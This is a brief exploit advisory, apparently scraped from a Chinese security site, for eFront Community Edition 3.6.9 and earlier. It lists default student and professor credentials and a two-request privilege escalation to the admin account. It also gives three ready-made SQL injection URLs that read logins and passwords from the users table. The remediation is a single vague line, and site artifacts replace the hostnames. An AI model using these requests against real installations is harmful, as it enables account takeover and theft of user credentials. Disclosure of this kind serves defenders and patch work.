标题: EFront <= 3.6.9 Community Edition Multiple Vulnerabilities
公共版: When 3.6.10 will be released
作者: IHTeam HdhCmsTest2cto测试数据
下载 链接: http://HdhCmsTestefrontlearning.net/download/download-efront. html
测试平台: efront_3.6.9_build11018
Default username and password:
student:student
professor:professor
怎么样变身管理员呢:
Request 1: /change_account.php?login=admin
Request 2: /userpage.php
或
simple use the [Switch account] option on top of the page;
好了，你已经进入管理区了;
SQL Injection:
HdhCmsTest2cto测试数据 /student.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
HdhCmsTest2cto测试数据 /professor.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
HdhCmsTest2cto测试数据 /admin.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
修复：验证严格
查看更多关于EFront <= 3.6.9 Community Edition多个缺陷及修复 - 网的详细内容...